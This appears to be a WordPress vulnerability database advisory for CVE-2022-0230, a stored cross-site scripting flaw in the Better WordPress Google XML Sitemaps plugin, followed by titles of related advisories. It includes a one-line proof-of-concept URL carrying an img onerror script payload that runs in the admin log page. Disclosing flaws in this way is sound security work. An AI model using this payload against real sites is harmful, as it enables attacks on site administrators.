Better WordPress Google XML Sitemaps <= 1.4.1 – Unauthenticated Stored Cross-Site Scripting | CVE 2022-0230 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape its logs when outputting them in the admin dashboard, which could allow unauthenticated users to perform Stored Cross-Site Scripting attacks against admins

Proof of Concept

With the permalinks settings set to plain, as an unauthenticated user, open http://example.com/?bwpsitemap=%3Cimg%20src%20onerror=alert(/XSS/)%3E

The XSS will be triggered in the log dashboard of the plugin https://example.com/wp-admin/admin.php?page=bwp_gxs_stats

Affects Plugins

bwp-google-xml-sitemaps

No known fix

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Verified

Yes

WPVDB ID

c73316d2-ae6a-42db-935b-b8b03a7e4363

Timeline

Publicly Published

2022-02-16 (about 3 years ago)

Added

2022-02-16 (about 3 years ago)

Last Updated

2022-04-08 (about 3 years ago)

Other

Published

Title

Published

2025-01-06

Title

Uptodown APK Download Widget < 0.1.11 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-09-26

Title

Themedy Toolbox < 1.0.16 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple Shortcodes

Published

2025-04-14

Title

Movylo Marketing Automation <= 2.0.7 - Reflected Cross-Site Scripting

Published

2020-06-22

Title

YITH WooCommerce Ajax Product Filter < 3.11.1 - Authenticated Reflected Cross-Site Scripting (XSS)

Published

2025-06-19

Title

CP Polls < 1.0.82 - Authenticated (Administrator+) Stored Cross-Site Scripting